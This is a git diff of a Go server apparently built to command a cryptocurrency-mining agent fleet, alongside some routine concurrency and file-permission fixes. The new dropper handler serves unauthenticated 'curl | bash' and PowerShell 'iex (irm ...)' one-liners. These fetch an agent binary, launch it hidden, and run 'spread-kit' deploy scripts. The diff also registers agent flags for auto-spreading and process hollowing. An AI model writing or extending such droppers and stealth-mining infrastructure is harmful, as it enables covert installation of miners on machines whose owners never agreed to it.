|
||||||
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
||||||
|
if src.Server.DashboardSubtitle != "" {
|
||||||
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||||||
|
}
|
||||||
|
if src.Server.SignCertThumbprint != "" {
|
||||||
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||||||
|
}
|
||||||
|
if src.Server.SignToolPath != "" {
|
||||||
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
||||||
|
}
|
||||||
|
if src.Server.SignTimestampURL != "" {
|
||||||
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (c *Config) Save() error {
|
func (c *Config) Save() error {
|
||||||
configPath := filepath.Join(c.DataDir, "config.json")
|
configPath := filepath.Join(c.DataDir, "config.json")
|
||||||
data, err := json.MarshalIndent(c, "", " ")
|
data, err := json.MarshalIndent(c, "", " ")
|
||||||
|
|||||||
@@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request)
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := os.WriteFile(filePath, formatted, 0644); err != nil {
|
if err := os.WriteFile(filePath, formatted, 0600); err != nil {
|
||||||
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
|
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|||||||
202
server/internal/api/dropper_handler.go
Normal file
202
server/internal/api/dropper_handler.go
Normal file
@@ -0,0 +1,202 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DropperHandler serves the one-liner remote-install endpoints:
|
||||||
|
//
|
||||||
|
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
||||||
|
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||||
|
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||||
|
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||||
|
type DropperHandler struct {
|
||||||
|
db *dbpkg.Database
|
||||||
|
publicURLFunc func() string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
||||||
|
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *DropperHandler) publicURL() string {
|
||||||
|
if h.publicURLFunc != nil {
|
||||||
|
if u := h.publicURLFunc(); u != "" {
|
||||||
|
return strings.TrimRight(u, "/")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// detectPlatform picks the right build platform from an explicit query param or
|
||||||
|
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
||||||
|
func detectPlatform(r *http.Request) string {
|
||||||
|
if p := r.URL.Query().Get("os"); p != "" {
|
||||||
|
switch strings.ToLower(p) {
|
||||||
|
case "windows", "win":
|
||||||
|
return "windows"
|
||||||
|
case "linux":
|
||||||
|
return "linux"
|
||||||
|
case "darwin", "mac", "macos":
|
||||||
|
return "darwin"
|
||||||
|
case "universal", "any":
|
||||||
|
return "universal"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
||||||
|
switch {
|
||||||
|
case strings.Contains(ua, "windows"):
|
||||||
|
return "windows"
|
||||||
|
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
||||||
|
return "darwin"
|
||||||
|
case strings.Contains(ua, "linux"):
|
||||||
|
return "linux"
|
||||||
|
}
|
||||||
|
return "" // caller will fall back to latest build regardless of platform
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||||
|
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||||
|
platform := detectPlatform(r)
|
||||||
|
|
||||||
|
// Try exact platform match, then fall back to universal, then any.
|
||||||
|
candidates := []string{platform, "universal", ""}
|
||||||
|
if platform == "" {
|
||||||
|
candidates = []string{"universal", ""}
|
||||||
|
}
|
||||||
|
|
||||||
|
var buildPath, buildName string
|
||||||
|
for _, p := range candidates {
|
||||||
|
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||||
|
if err == nil && b != nil {
|
||||||
|
buildPath = b.FilePath
|
||||||
|
buildName = filepath.Base(b.FilePath)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if buildPath == "" {
|
||||||
|
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||||
|
w.Header().Set("Content-Type", "application/octet-stream")
|
||||||
|
http.ServeFile(w, r, buildPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||||
|
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||||
|
base := h.publicURL()
|
||||||
|
if base == "" {
|
||||||
|
// Best-effort: derive from request
|
||||||
|
scheme := "http"
|
||||||
|
if r.TLS != nil {
|
||||||
|
scheme = "https"
|
||||||
|
}
|
||||||
|
base = scheme + "://" + r.Host
|
||||||
|
}
|
||||||
|
|
||||||
|
script := fmt.Sprintf(`#!/bin/sh
|
||||||
|
# AetherForge one-liner installer
|
||||||
|
# Usage: curl -sL %s/install.sh | bash
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||||
|
ARCH="$(uname -m)"
|
||||||
|
case "$ARCH" in
|
||||||
|
x86_64) ARCH="amd64" ;;
|
||||||
|
aarch64|arm64) ARCH="arm64" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
TMPDIR="$(mktemp -d)"
|
||||||
|
DEST="$TMPDIR/worker"
|
||||||
|
|
||||||
|
echo "[*] Downloading agent for $OS/$ARCH..."
|
||||||
|
curl -sL -o "$DEST" "%s/get?os=$OS"
|
||||||
|
|
||||||
|
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
|
||||||
|
echo "[*] Extracting universal bundle..."
|
||||||
|
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
||||||
|
cd "$TMPDIR/bundle"
|
||||||
|
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
|
||||||
|
if [ "$OS" = "darwin" ]; then
|
||||||
|
for L in Start.command start.command; do
|
||||||
|
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
for L in start.sh deploy.sh; do
|
||||||
|
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
|
||||||
|
done
|
||||||
|
echo "[!] Could not find launcher in bundle"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
chmod +x "$DEST"
|
||||||
|
echo "[*] Launching..."
|
||||||
|
nohup "$DEST" >/dev/null 2>&1 &
|
||||||
|
echo "[+] Agent started (pid $!)"
|
||||||
|
`, base, base)
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||||
|
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||||
|
fmt.Fprint(w, script)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||||
|
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||||
|
base := h.publicURL()
|
||||||
|
if base == "" {
|
||||||
|
scheme := "http"
|
||||||
|
if r.TLS != nil {
|
||||||
|
scheme = "https"
|
||||||
|
}
|
||||||
|
base = scheme + "://" + r.Host
|
||||||
|
}
|
||||||
|
|
||||||
|
// PowerShell backticks would conflict with Go raw-string backticks; build the
|
||||||
|
// script as a regular string so we can escape them properly.
|
||||||
|
bt := "`" // backtick character
|
||||||
|
script := "# AetherForge one-liner installer\n" +
|
||||||
|
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
|
||||||
|
"$ErrorActionPreference = 'Stop'\n" +
|
||||||
|
"$url = '" + base + "/get?os=windows'\n" +
|
||||||
|
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
|
||||||
|
"Write-Host '[*] Downloading agent...'\n" +
|
||||||
|
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
|
||||||
|
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
|
||||||
|
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
|
||||||
|
"if ($isZip) {\n" +
|
||||||
|
" Write-Host '[*] Extracting universal bundle...'\n" +
|
||||||
|
" $dir = $tmp + '_bundle'\n" +
|
||||||
|
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
|
||||||
|
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
|
||||||
|
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
|
||||||
|
" $bat = $null\n" +
|
||||||
|
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
|
||||||
|
" $candidate = Join-Path $dir $name\n" +
|
||||||
|
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
|
||||||
|
" }\n" +
|
||||||
|
" if ($bat) {\n" +
|
||||||
|
" Write-Host '[*] Running launcher...'\n" +
|
||||||
|
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
|
||||||
|
" } else {\n" +
|
||||||
|
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
|
||||||
|
" }\n" +
|
||||||
|
"} else {\n" +
|
||||||
|
" $exe = $tmp + '.exe'\n" +
|
||||||
|
" Move-Item -Path $tmp -Destination $exe -Force\n" +
|
||||||
|
" Write-Host '[*] Launching...'\n" +
|
||||||
|
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
|
||||||
|
"}\n" +
|
||||||
|
"Write-Host '[+] Agent deployed.'\n"
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||||
|
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
||||||
|
fmt.Fprint(w, script)
|
||||||
|
}
|
||||||
@@ -4,7 +4,6 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
"time"
|
|
||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
content := f.ws.GetAgentLog(id)
|
content := f.ws.GetAgentLog(id)
|
||||||
if r.URL.Query().Get("refresh") == "1" {
|
if r.URL.Query().Get("refresh") == "1" {
|
||||||
|
// Fire the get_log command and return immediately — the response arrives
|
||||||
|
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
||||||
|
// The dashboard will receive the log content via the commandResults queue.
|
||||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||||
for i := 0; i < 12; i++ {
|
|
||||||
time.Sleep(150 * time.Millisecond)
|
|
||||||
if c := f.ws.GetAgentLog(id); c != "" {
|
|
||||||
content = c
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
writeJSON(w, map[string]interface{}{
|
writeJSON(w, map[string]interface{}{
|
||||||
"agent_id": id,
|
"agent_id": id,
|
||||||
|
|||||||
@@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
|
|||||||
_ = os.MkdirAll(webRoot, 0755)
|
_ = os.MkdirAll(webRoot, 0755)
|
||||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||||
|
|
||||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir
|
dropperHandler := NewDropperHandler(database, nil)
|
||||||
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestHealthIsPublic(t *testing.T) {
|
func TestHealthIsPublic(t *testing.T) {
|
||||||
|
|||||||
@@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
}
|
}
|
||||||
|
|
||||||
path := r.URL.Path
|
path := r.URL.Path
|
||||||
// Agent-facing API + health + forged worker downloads stay open for agents.
|
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
||||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||||
path == "/api/v1/health" ||
|
path == "/api/v1/health" ||
|
||||||
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||||
next.ServeHTTP(w, r)
|
next.ServeHTTP(w, r)
|
||||||
return
|
return
|
||||||
@@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||||
loadUsers(dataDir)
|
loadUsers(dataDir)
|
||||||
|
|
||||||
r := chi.NewRouter()
|
r := chi.NewRouter()
|
||||||
@@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||||
|
|
||||||
|
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||||
|
if dropperHandler != nil {
|
||||||
|
r.Get("/get", dropperHandler.ServeGet)
|
||||||
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||||
|
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||||
|
}
|
||||||
|
|
||||||
// Serve frontend SPA
|
// Serve frontend SPA
|
||||||
if webRoot != "" {
|
if webRoot != "" {
|
||||||
// Check if webroot directory exists
|
// Check if webroot directory exists
|
||||||
|
|||||||
@@ -42,14 +42,40 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
|
|||||||
return c.Conn.WriteJSON(v)
|
return c.Conn.WriteJSON(v)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
||||||
|
// broadcastDashboard and the ping loop never race on the same connection.
|
||||||
|
type DashboardConn struct {
|
||||||
|
Conn *websocket.Conn
|
||||||
|
mu sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
||||||
|
d.mu.Lock()
|
||||||
|
defer d.mu.Unlock()
|
||||||
|
return d.Conn.WriteMessage(messageType, data)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *DashboardConn) WriteJSON(v interface{}) error {
|
||||||
|
d.mu.Lock()
|
||||||
|
defer d.mu.Unlock()
|
||||||
|
return d.Conn.WriteJSON(v)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
||||||
|
d.mu.Lock()
|
||||||
|
defer d.mu.Unlock()
|
||||||
|
return d.Conn.WriteControl(messageType, data, deadline)
|
||||||
|
}
|
||||||
|
|
||||||
type WSHub struct {
|
type WSHub struct {
|
||||||
db *db.Database
|
db *db.Database
|
||||||
agents map[string]*AgentConnection
|
agents map[string]*AgentConnection
|
||||||
dashboards map[string]*websocket.Conn
|
dashboards map[string]*DashboardConn
|
||||||
poolManager *pool.Manager
|
poolManager *pool.Manager
|
||||||
defaultPool pool.Config
|
defaultPool pool.Config
|
||||||
aiHandler *AIHandler
|
aiHandler *AIHandler
|
||||||
agentConfigs map[string]AgentForgeConfig
|
agentConfigs map[string]AgentForgeConfig
|
||||||
|
agentCapabilities map[string]models.AgentCapabilities
|
||||||
agentLogs map[string]string
|
agentLogs map[string]string
|
||||||
serverPolicy ServerPolicy
|
serverPolicy ServerPolicy
|
||||||
pingIntervalSec int
|
pingIntervalSec int
|
||||||
@@ -60,8 +86,9 @@ func NewWSHub(database *db.Database) *WSHub {
|
|||||||
return &WSHub{
|
return &WSHub{
|
||||||
db: database,
|
db: database,
|
||||||
agents: make(map[string]*AgentConnection),
|
agents: make(map[string]*AgentConnection),
|
||||||
dashboards: make(map[string]*websocket.Conn),
|
dashboards: make(map[string]*DashboardConn),
|
||||||
agentConfigs: make(map[string]AgentForgeConfig),
|
agentConfigs: make(map[string]AgentForgeConfig),
|
||||||
|
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||||
agentLogs: make(map[string]string),
|
agentLogs: make(map[string]string),
|
||||||
pingIntervalSec: 30,
|
pingIntervalSec: 30,
|
||||||
}
|
}
|
||||||
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
|
|||||||
return time.Duration(sec) * time.Second
|
return time.Duration(sec) * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
|
||||||
interval := h.pingInterval()
|
interval := h.pingInterval()
|
||||||
ticker := time.NewTicker(interval)
|
ticker := time.NewTicker(interval)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||||
|
interval := h.pingInterval()
|
||||||
|
ticker := time.NewTicker(interval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||||
|
dc.Conn.SetPongHandler(func(string) error {
|
||||||
|
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||||
|
})
|
||||||
|
|
||||||
|
for range ticker.C {
|
||||||
|
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||||
h.mu.RLock()
|
h.mu.RLock()
|
||||||
defer h.mu.RUnlock()
|
defer h.mu.RUnlock()
|
||||||
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
go h.runPingLoop(conn)
|
go h.runPingLoopRaw(conn)
|
||||||
|
|
||||||
agentID := ""
|
agentID := ""
|
||||||
defer func() {
|
defer func() {
|
||||||
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
AIEnabled bool `json:"ai_enabled"`
|
AIEnabled bool `json:"ai_enabled"`
|
||||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||||
AIModel string `json:"ai_model"`
|
AIModel string `json:"ai_model"`
|
||||||
|
HolePunch bool `json:"hole_punch"`
|
||||||
|
RemoteAggressive bool `json:"remote_aggressive"`
|
||||||
|
MeshP2P bool `json:"mesh_p2p"`
|
||||||
|
AutoSpread bool `json:"auto_spread"`
|
||||||
|
ProcessHollowing bool `json:"process_hollowing"`
|
||||||
|
Platform string `json:"platform"`
|
||||||
|
Arch string `json:"arch"`
|
||||||
|
OSVersion string `json:"os_version"`
|
||||||
}
|
}
|
||||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
||||||
|
|
||||||
policy := h.serverPolicySnapshot()
|
policy := h.serverPolicySnapshot()
|
||||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
|
||||||
"success": false, "error": "fleet agent limit reached",
|
|
||||||
})})
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
forgeCfg := AgentForgeConfig{
|
forgeCfg := AgentForgeConfig{
|
||||||
Wallet: auth.Wallet,
|
Wallet: auth.Wallet,
|
||||||
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
AIModel: auth.AIModel,
|
AIModel: auth.AIModel,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
caps := models.AgentCapabilities{
|
||||||
|
HolePunch: auth.HolePunch,
|
||||||
|
RemoteAggressive: auth.RemoteAggressive,
|
||||||
|
MeshP2P: auth.MeshP2P,
|
||||||
|
AutoSpread: auth.AutoSpread,
|
||||||
|
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||||
|
AIEnabled: auth.AIEnabled,
|
||||||
|
}
|
||||||
|
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
h.agentConfigs[agentID] = forgeCfg
|
h.agentConfigs[agentID] = forgeCfg
|
||||||
|
h.agentCapabilities[agentID] = caps
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
|
|
||||||
if h.poolManager != nil {
|
if h.poolManager != nil {
|
||||||
@@ -310,6 +366,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
CPUCores: auth.CPUCores,
|
CPUCores: auth.CPUCores,
|
||||||
MemoryGB: auth.MemoryGB,
|
MemoryGB: auth.MemoryGB,
|
||||||
LastSeen: time.Now(),
|
LastSeen: time.Now(),
|
||||||
|
Platform: auth.Platform,
|
||||||
|
Arch: auth.Arch,
|
||||||
|
OSVersion: auth.OSVersion,
|
||||||
|
Capabilities: &caps,
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := h.db.UpsertAgent(agent); err != nil {
|
if err := h.db.UpsertAgent(agent); err != nil {
|
||||||
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||||
|
// two concurrent new agents could both pass the count check under RLock, then
|
||||||
|
// both get registered, overshooting the limit.
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
|
if policy.MaxAgents > 0 {
|
||||||
|
_, alreadyConnected := h.agents[agentID]
|
||||||
|
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||||
|
h.mu.Unlock()
|
||||||
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"success": false, "error": "fleet agent limit reached",
|
||||||
|
})})
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||||
oldConn := old.Conn
|
oldConn := old.Conn
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
dc := &DashboardConn{Conn: conn}
|
||||||
dashID := uuid.New().String()
|
dashID := uuid.New().String()
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
h.dashboards[dashID] = conn
|
h.dashboards[dashID] = dc
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// Send initial data
|
// Send initial data
|
||||||
agents, _ := h.db.ListAgents()
|
agents, _ := h.db.ListAgents()
|
||||||
|
h.enrichAgentsCapabilities(agents)
|
||||||
stats, _ := h.db.GetFleetStats()
|
stats, _ := h.db.GetFleetStats()
|
||||||
|
|
||||||
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||||
"agents": agents,
|
"agents": agents,
|
||||||
"stats": stats,
|
"stats": stats,
|
||||||
})})
|
})})
|
||||||
|
|
||||||
go h.runPingLoop(conn)
|
go h.runPingLoopDash(dc)
|
||||||
|
|
||||||
// Keep connection alive, read close messages
|
// Keep connection alive, read close messages
|
||||||
for {
|
for {
|
||||||
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
for id, conn := range h.dashboards {
|
for id, dc := range h.dashboards {
|
||||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||||
conn.Close()
|
dc.Conn.Close()
|
||||||
id := id
|
id := id
|
||||||
go func() {
|
go func() {
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
|
|||||||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
for _, a := range agents {
|
||||||
|
if a == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if caps, ok := h.agentCapabilities[a.ID]; ok {
|
||||||
|
c := caps
|
||||||
|
a.Capabilities = &c
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||||
h.mu.RLock()
|
h.mu.RLock()
|
||||||
defer h.mu.RUnlock()
|
defer h.mu.RUnlock()
|
||||||
|
|||||||
426
server/internal/builder/build_universal.go
Normal file
426
server/internal/builder/build_universal.go
Normal file
@@ -0,0 +1,426 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
